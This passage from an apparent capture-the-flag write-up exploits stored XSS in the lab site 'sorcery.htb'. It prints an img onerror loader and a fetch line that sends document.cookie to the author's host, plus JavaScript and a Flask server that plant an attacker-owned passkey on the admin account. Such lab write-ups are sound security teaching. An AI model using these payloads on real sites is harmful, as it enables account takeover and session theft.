<span class="na">Cookie</span><span class="p">:</span> <span class="s">token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjNjYTlhZmFhLTc5YWYtNDdmNy1hMjc2LTgyNWVhYzU1MTY1MSIsInVzZXJuYW1lIjoiMHhkZiIsInByaXZpbGVnZUxldmVsIjowLCJ3aXRoUGFzc2tleSI6ZmFsc2UsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc2NDI1MDcwfQ.e_ybrpbxQ2n1h5VAhh_y3juXQSZCW96mO_QRofL-rSI</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
</code></pre></div></div>

<p>It works!</p>

<p><a href="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416154837356.png"><img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416154837356.png" alt="image-20260416154837356" /><em>Click for full size image</em></a></p>

<p>The registration key is “dd05d743-b560-45dc-9a09-43ab18c7a513”.</p>

<h4 id="register-as-seller">Register as Seller</h4>

<p>I’ll create a new account using this key:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416155025908.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416155025908.png" alt="image-20260416155025908" class="include_image " />
</picture>

<p>Now there’s an extra option in the menu bar:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416155048783.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416155048783.png" alt="image-20260416155048783" class="include_image " />
</picture>

<p>It presents an option to create items:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416155112625.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416155112625.png" alt="image-20260416155112625" class="include_image " />
</picture>

<p>If I add one, it does show on my page:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416155449725.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416155449725.png" alt="image-20260416155449725" class="include_image " />
</picture>

<p>I know from the <a href="#products">code review</a> that right now only my user and the admin can see it, and that the admin checks it immediately.</p>

<h3 id="access-as-admin">Access as Admin</h3>

<h4 id="xss-local-poc">XSS Local POC</h4>

<p>I noted <a href="#products">above</a> that the description field was not sanitized, and thus vulnerable to XSS. To test this, I’ll create a very simple payload:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416160354840.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416160354840.png" alt="image-20260416160354840" class="include_image " />
</picture>

<p>Now I’ll load the new item page. Just clicking the view link loads the page but doesn’t pop an alert. However, refreshing the page from this URL does:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416160445201.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416160445201.png" alt="image-20260416160445201" class="include_image " />
</picture>

<p>That’s because Next.js does a soft RSC navigation on the click that doesn’t reliably re-trigger the inserted element’s load handlers, while a refresh re-parses the HTML from scratch and <code class="language-plaintext highlighter-rouge">onerror</code> fires.</p>

<h4 id="xss-remote-poc">XSS Remote POC</h4>

<p>To test the XSS on the admin, I’ll create a payload that will request a script from my host and load it:</p>

<div class="language-html wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">http://10.10.14.61/x.jpg</span> <span class="na">onerror=</span><span class="s">"var s=document.createElement('script');s.src='http://10.10.14.61/poc.js';document.head.appendChild(s)"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>What’s nice about this is that it should try to contact my server at least twice. First to read <code class="language-plaintext highlighter-rouge">x.jpg</code> (which does not exist), and then to load the script, <code class="language-plaintext highlighter-rouge">poc.js</code>. I’ll have <code class="language-plaintext highlighter-rouge">poc.js</code> make another request back to me:</p>

<div class="language-js wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://10.10.14.61/hit?u=</span><span class="dl">"</span> <span class="o">+</span> <span class="nf">encodeURIComponent</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">&amp;c=</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span>
</code></pre></div></div>

<p>On sending the <code class="language-plaintext highlighter-rouge">img</code> payload in the product description, within a couple seconds I get all three hits on my webserver:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">10.129.25.147 - - [19/Apr/2026 03:15:52] code 404, message File not found
10.129.25.147 - - [19/Apr/2026 03:15:52] "GET /x.jpg HTTP/1.1" 404 -
10.129.25.147 - - [19/Apr/2026 03:15:52] "GET /poc.js HTTP/1.1" 200 -
10.129.25.147 - - [19/Apr/2026 03:15:52] code 404, message File not found
10.129.25.147 - - [19/Apr/2026 03:15:52] "GET /hit?u=http%3A%2F%2Ffrontend%3A3000%2Fdashboard%2Fstore%2F7e578c7b-0960-4090-bbb0-e033974aa70c&amp;c= HTTP/1.1" 404 -
</span></code></pre></div></div>

<p>The cookie is empty, which is expected as I noted <a href="#register-and-password-login">above</a> that it was <code class="language-plaintext highlighter-rouge">httpOnly</code>. Still, this shows that I have full XSS to do whatever I want in <code class="language-plaintext highlighter-rouge">poc.js</code>.</p>

<h4 id="xss-register-passkey">XSS Register Passkey</h4>

<p>When the bot visits the product, the admin JWT cookie is set with limited applicability:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="n">only_for_paths</span><span class="p">:</span> <span class="nf">Some</span><span class="p">(</span><span class="nd">vec!</span><span class="p">[</span>
            <span class="s">r"^\/api\/product\/[a-zA-Z0-9-]+$"</span><span class="nf">.to_string</span><span class="p">(),</span>
            <span class="s">r"^\/api\/webauthn\/passkey\/register\/start$"</span><span class="nf">.to_string</span><span class="p">(),</span>
            <span class="s">r"^\/api\/webauthn\/passkey\/register\/finish$"</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="p">]),</span>
</code></pre></div></div>

<p>In addition to viewing products, the token can hit the two passkey registration endpoints. The plan: register a passkey I control on the admin’s account, then authenticate as admin using that passkey.</p>

<p>I can’t use <code class="language-plaintext highlighter-rouge">navigator.credentials.create</code> from the XSS because the bot’s headless Chrome has no authenticator, and the RP ID (<code class="language-plaintext highlighter-rouge">sorcery.htb</code>) doesn’t match the bot’s origin (<code class="language-plaintext highlighter-rouge">http://frontend:3000</code>). Instead, I’ll call the Next.js server actions directly via <code class="language-plaintext highlighter-rouge">fetch</code> and handle credential creation on my own server.</p>

<p>In Next.js, server actions can be invoked by sending POST requests to any same-origin URL with a <code class="language-plaintext highlighter-rouge">Next-Action</code> header containing the action’s build-time ID. The cookie attaches automatically, and the Next.js server forwards it as <code class="language-plaintext highlighter-rouge">Authorization: Bearer</code> to the backend. I can get the action ID for passkey enrollment by watching the request in Burp Proxy. For example, when I enroll a passkey (with the Chrome dev tools fake passkey working), it sends two POST requests, both to <code class="language-plaintext highlighter-rouge">/dashboard/profile</code>. The first looks like:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/dashboard/profile</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">sorcery.htb</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjFjMmUwNzM3LTNiNzctNDBlYy05ZmNlLTZjYmM1ZGNiYzQ5YiIsInVzZXJuYW1lIjoiMHhkZnNlbGxlciIsInByaXZpbGVnZUxldmVsIjoxLCJ3aXRoUGFzc2tleSI6dHJ1ZSwib25seUZvclBhdGhzIjpudWxsLCJleHAiOjE3NzY0NzY2MTV9.NfonVeRrE14VqWUlMgNawdo6yvrgrSPO922f6k96n54</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">2</span>
<span class="na">Sec-Ch-Ua-Platform</span><span class="p">:</span> <span class="s">"Linux"</span>
<span class="na">Next-Action</span><span class="p">:</span> <span class="s">062f18334e477c66c7bf63928ee38e241132fabc</span>
<span class="na">Sec-Ch-Ua</span><span class="p">:</span> <span class="s">"Chromium";v="147", "Not.A/Brand";v="8"</span>
<span class="na">Sec-Ch-Ua-Mobile</span><span class="p">:</span> <span class="s">?0</span>
<span class="na">Next-Router-State-Tree</span><span class="p">:</span> <span class="s">%5B%22%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%22children%22%3A%5B%22profile%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Fdashboard%2Fprofile%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D%7D%2Cnull%2Cnull%2Ctrue%5D</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/x-component</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/plain;charset=UTF-8</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">https://sorcery.htb</span>
<span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">same-origin</span>
<span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">cors</span>
<span class="na">Sec-Fetch-Dest</span><span class="p">:</span> <span class="s">empty</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">https://sorcery.htb/dashboard/profile</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.9</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=1, i</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>

[]
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">Next-Action</code> header of 062f18334e477c66c7bf63928ee38e241132fabc shows the <code class="language-plaintext highlighter-rouge">startRegistration</code> action ID. In the next POST, there’s an action ID of 60971a2b6b26a212882926296f31a1c6d7373dfa for <code class="language-plaintext highlighter-rouge">finishRegistration</code>.</p>

<p>The XSS payload (<code class="language-plaintext highlighter-rouge">passkey.js</code>) is three fetch calls:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="k">async </span><span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">SERVER</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://10.10.14.61</span><span class="dl">'</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">START_ACTION</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">062f18334e477c66c7bf63928ee38e241132fabc</span><span class="dl">'</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">FINISH_ACTION</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">60971a2b6b26a212882926296f31a1c6d7373dfa</span><span class="dl">'</span><span class="p">;</span>

    <span class="c1">// Step 1: Call startRegistration server action</span>
    <span class="kd">const</span> <span class="nx">startResp</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/dashboard/profile</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">body</span><span class="p">:</span> <span class="dl">'</span><span class="s1">[]</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
            <span class="dl">'</span><span class="s1">Next-Action</span><span class="dl">'</span><span class="p">:</span> <span class="nx">START_ACTION</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">text/plain;charset=UTF-8</span><span class="dl">'</span><span class="p">,</span>
        <span class="p">},</span>
    <span class="p">});</span>
    <span class="kd">const</span> <span class="nx">startText</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">startResp</span><span class="p">.</span><span class="nf">text</span><span class="p">();</span>
    <span class="kd">const</span> <span class="nx">challengeJson</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="nx">startText</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="nf">substring</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span>
    <span class="kd">const</span> <span class="nx">challenge</span> <span class="o">=</span> <span class="nx">challengeJson</span><span class="p">.</span><span class="nx">result</span><span class="p">.</span><span class="nx">challenge</span><span class="p">;</span>

    <span class="c1">// Step 2: Send challenge to our server, get credential back</span>
    <span class="kd">const</span> <span class="nx">solveResp</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="nx">SERVER</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/solve</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/json</span><span class="dl">'</span> <span class="p">},</span>
        <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">({</span>
            <span class="na">challenge</span><span class="p">:</span> <span class="nx">challenge</span><span class="p">.</span><span class="nx">publicKey</span><span class="p">.</span><span class="nx">challenge</span><span class="p">,</span>
            <span class="na">rp</span><span class="p">:</span> <span class="nx">challenge</span><span class="p">.</span><span class="nx">publicKey</span><span class="p">.</span><span class="nx">rp</span><span class="p">,</span>
        <span class="p">}),</span>
    <span class="p">});</span>
    <span class="kd">const</span> <span class="nx">credential</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">solveResp</span><span class="p">.</span><span class="nf">json</span><span class="p">();</span>

    <span class="c1">// Step 3: Call finishRegistration server action</span>
    <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/dashboard/profile</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">([</span><span class="nx">credential</span><span class="p">]),</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
            <span class="dl">'</span><span class="s1">Next-Action</span><span class="dl">'</span><span class="p">:</span> <span class="nx">FINISH_ACTION</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">text/plain;charset=UTF-8</span><span class="dl">'</span><span class="p">,</span>
        <span class="p">},</span>
    <span class="p">});</span>

    <span class="k">new</span> <span class="nc">Image</span><span class="p">().</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">SERVER</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/done</span><span class="dl">'</span><span class="p">;</span>
<span class="p">})();</span>
</code></pre></div></div>

<p>In step 1, it sends a POST to <code class="language-plaintext highlighter-rouge">/dashboard/profile</code>. Because this is a same-origin request, the admin cookie attaches automatically. The Next.js server reads it and forwards the request to the backend with the JWT. The response comes back with a payload that contains JSON with the WebAuthn challenge. In step 2, the XSS extracts the challenge and sends it to my Flask server, which generates a keypair, builds the attestation, and returns a <code class="language-plaintext highlighter-rouge">RegistrationResponseJSON</code> object. In step 3, that credential is passed directly as <code class="language-plaintext highlighter-rouge">[credential]</code> to the <code class="language-plaintext highlighter-rouge">finishRegistration</code> server action, again same-origin with the admin cookie attached. Once the registration is complete, it sends a request back to <code class="language-plaintext highlighter-rouge">/done</code> on my server.</p>

<p>The Flask server (<code class="language-plaintext highlighter-rouge">pk_server.py</code>) handles three things: serving <code class="language-plaintext highlighter-rouge">passkey.js</code>, generating the credential at <code class="language-plaintext highlighter-rouge">/solve</code>, and using those credentials to login at <code class="language-plaintext highlighter-rouge">/done</code>:</p>

<div class="language-python code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
# /// script
# requires-python = "&gt;=3.13"
# dependencies = [
#     "cbor2",
#     "cryptography",
#     "flask",
#     "requests",
# ]
# ///
</span><span class="kn">from</span> <span class="n">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">jsonify</span><span class="p">,</span> <span class="n">send_file</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives.asymmetric</span> <span class="kn">import</span> <span class="n">ec</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives.asymmetric.ec</span> <span class="kn">import</span> <span class="n">ECDSA</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives.hashes</span> <span class="kn">import</span> <span class="n">SHA256</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives.serialization</span> <span class="kn">import</span> <span class="n">Encoding</span><span class="p">,</span> <span class="n">NoEncryption</span><span class="p">,</span> <span class="n">PrivateFormat</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.backends</span> <span class="kn">import</span> <span class="n">default_backend</span>
<span class="kn">import</span> <span class="n">cbor2</span><span class="p">,</span> <span class="n">hashlib</span><span class="p">,</span> <span class="n">base64</span><span class="p">,</span> <span class="n">json</span><span class="p">,</span> <span class="n">os</span><span class="p">,</span> <span class="n">requests</span>

<span class="n">app</span> <span class="o">=</span> <span class="nc">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">private_key</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">cred_id</span> <span class="o">=</span> <span class="bp">None</span>

<span class="nd">@app.after_request</span>
<span class="k">def</span> <span class="nf">add_cors</span><span class="p">(</span><span class="n">response</span><span class="p">):</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="sh">'</span><span class="s">Access-Control-Allow-Origin</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">*</span><span class="sh">'</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="sh">'</span><span class="s">Access-Control-Allow-Methods</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">GET, POST, OPTIONS</span><span class="sh">'</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="sh">'</span><span class="s">Access-Control-Allow-Headers</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">Content-Type</span><span class="sh">'</span>
    <span class="k">return</span> <span class="n">response</span>

<span class="k">def</span> <span class="nf">b64url_decode</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">+</span><span class="sh">'</span><span class="p">).</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">_</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">s</span> <span class="o">+=</span> <span class="sh">'</span><span class="s">=</span><span class="sh">'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">4</span> <span class="o">-</span> <span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="mi">4</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64decode</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64encode</span><span class="p">(</span><span class="n">data</span><span class="p">).</span><span class="nf">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">=</span><span class="sh">'</span><span class="p">).</span><span class="nf">decode</span><span class="p">().</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">+</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">).</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">_</span><span class="sh">'</span><span class="p">)</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/passkey.js</span><span class="sh">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">serve_js</span><span class="p">():</span>
    <span class="k">return</span> <span class="nf">send_file</span><span class="p">(</span><span class="sh">'</span><span class="s">passkey.js</span><span class="sh">'</span><span class="p">,</span> <span class="n">mimetype</span><span class="o">=</span><span class="sh">'</span><span class="s">application/javascript</span><span class="sh">'</span><span class="p">)</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/solve</span><span class="sh">'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">POST</span><span class="sh">'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">solve</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">private_key</span><span class="p">,</span> <span class="n">cred_id</span>
    <span class="n">challenge_b64</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">json</span><span class="p">[</span><span class="sh">'</span><span class="s">challenge</span><span class="sh">'</span><span class="p">]</span>
    <span class="n">rp_id</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">json</span><span class="p">[</span><span class="sh">'</span><span class="s">rp</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">id</span><span class="sh">'</span><span class="p">]</span>

    <span class="n">private_key</span> <span class="o">=</span> <span class="n">ec</span><span class="p">.</span><span class="nf">generate_private_key</span><span class="p">(</span><span class="n">ec</span><span class="p">.</span><span class="nc">SECP256R1</span><span class="p">(),</span> <span class="nf">default_backend</span><span class="p">())</span>
    <span class="n">pub</span> <span class="o">=</span> <span class="n">private_key</span><span class="p">.</span><span class="nf">public_key</span><span class="p">().</span><span class="nf">public_numbers</span><span class="p">()</span>
    <span class="n">x</span> <span class="o">=</span> <span class="n">pub</span><span class="p">.</span><span class="n">x</span><span class="p">.</span><span class="nf">to_bytes</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="sh">'</span><span class="s">big</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">y</span> <span class="o">=</span> <span class="n">pub</span><span class="p">.</span><span class="n">y</span><span class="p">.</span><span class="nf">to_bytes</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="sh">'</span><span class="s">big</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">cred_id</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="nf">urandom</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>

    <span class="n">cose_key</span> <span class="o">=</span> <span class="n">cbor2</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span><span class="mi">1</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">:</span> <span class="o">-</span><span class="mi">7</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">2</span><span class="p">:</span> <span class="n">x</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">:</span> <span class="n">y</span><span class="p">})</span>
    <span class="n">rp_hash</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">rp_id</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">digest</span><span class="p">()</span>
    <span class="n">auth_data</span> <span class="o">=</span> <span class="n">rp_hash</span> <span class="o">+</span> <span class="sa">b</span><span class="sh">'</span><span class="se">\x45</span><span class="sh">'</span> <span class="o">+</span> <span class="sa">b</span><span class="sh">'</span><span class="se">\x00</span><span class="sh">'</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="sh">'</span><span class="se">\x00</span><span class="sh">'</span><span class="o">*</span><span class="mi">16</span> <span class="o">+</span> <span class="nf">len</span><span class="p">(</span><span class="n">cred_id</span><span class="p">).</span><span class="nf">to_bytes</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="sh">'</span><span class="s">big</span><span class="sh">'</span><span class="p">)</span> <span class="o">+</span> <span class="n">cred_id</span> <span class="o">+</span> <span class="n">cose_key</span>

    <span class="n">att_obj</span> <span class="o">=</span> <span class="n">cbor2</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span><span class="sh">'</span><span class="s">fmt</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">none</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">attStmt</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span> <span class="sh">'</span><span class="s">authData</span><span class="sh">'</span><span class="p">:</span> <span class="n">auth_data</span><span class="p">})</span>
    <span class="n">client_data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
        <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">webauthn.create</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">challenge</span><span class="sh">'</span><span class="p">:</span> <span class="n">challenge_b64</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">origin</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">https://sorcery.htb</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">crossOrigin</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
    <span class="p">},</span> <span class="n">separators</span><span class="o">=</span><span class="p">(</span><span class="sh">'</span><span class="s">,</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">:</span><span class="sh">'</span><span class="p">)).</span><span class="nf">encode</span><span class="p">()</span>

    <span class="n">pem</span> <span class="o">=</span> <span class="n">private_key</span><span class="p">.</span><span class="nf">private_bytes</span><span class="p">(</span><span class="n">Encoding</span><span class="p">.</span><span class="n">PEM</span><span class="p">,</span> <span class="n">PrivateFormat</span><span class="p">.</span><span class="n">PKCS8</span><span class="p">,</span> <span class="nc">NoEncryption</span><span class="p">()).</span><span class="nf">decode</span><span class="p">()</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Credential ID: </span><span class="si">{</span><span class="nf">b64url_encode</span><span class="p">(</span><span class="n">cred_id</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] RP ID: </span><span class="si">{</span><span class="n">rp_id</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Private Key (PEM):</span><span class="se">\n</span><span class="si">{</span><span class="n">pem</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">return</span> <span class="nf">jsonify</span><span class="p">({</span>
        <span class="sh">'</span><span class="s">id</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">cred_id</span><span class="p">),</span>
        <span class="sh">'</span><span class="s">rawId</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">cred_id</span><span class="p">),</span>
        <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">public-key</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">response</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">attestationObject</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">att_obj</span><span class="p">),</span>
